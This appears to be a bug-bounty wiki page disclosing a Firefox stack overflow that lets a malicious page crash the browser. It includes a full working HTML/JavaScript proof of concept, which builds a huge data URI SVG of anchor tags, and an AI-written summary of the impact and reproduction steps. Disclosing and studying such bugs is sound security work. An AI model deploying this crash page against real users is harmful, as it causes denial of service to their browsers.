Stack overflow in UnbindFromTree (browser can be crashed remotely)
A stack overflow occurs in Firefox when processing a data URI containing a very large number of anchor tags, crashing the browser; an attacker could remotely crash it via a malicious page.
- Disclosed after 33 days
I reported this bug to Mozilla approximately 9 months ago and all versions of Firefox back to at least ESR45 and including current Nightly 57 builds are still vulnerable to this unpatched flaw. I've tested on Fedora 26, Debian 8, Windows 8 and Windows 10. Mozilla declined to award a bounty.
Code:
<html>
<head></head>
<body>
<script>
function done() {
}
var x = '';
for (i=0; i<500000; ++i)
x += '<a>';
var uri = 'data:image/svg+xml,' + x;
var i = new Image();
i.src = uri;
</script>
</body>
</html>
The caveat to this is that if scripts are disabled on the page where this code is located, the Tor browser won't crash. This link will probably crash your Firefox. A WinDBG stack trace is located here.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A remote attacker could crash the Firefox browser, causing a denial of service; however, if scripts are disabled on the page, the Tor browser does not crash.
What the attacker needed
Victim visits a malicious page; JavaScript enabled
How it was found
- Create an HTML page with a script that generates a string of 500,000 opening anchor tags.
- Construct a data URI for an SVG image using that string.
- Create a new Image object and set its source to the data URI.
- Load the page in Firefox, which triggers the crash.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.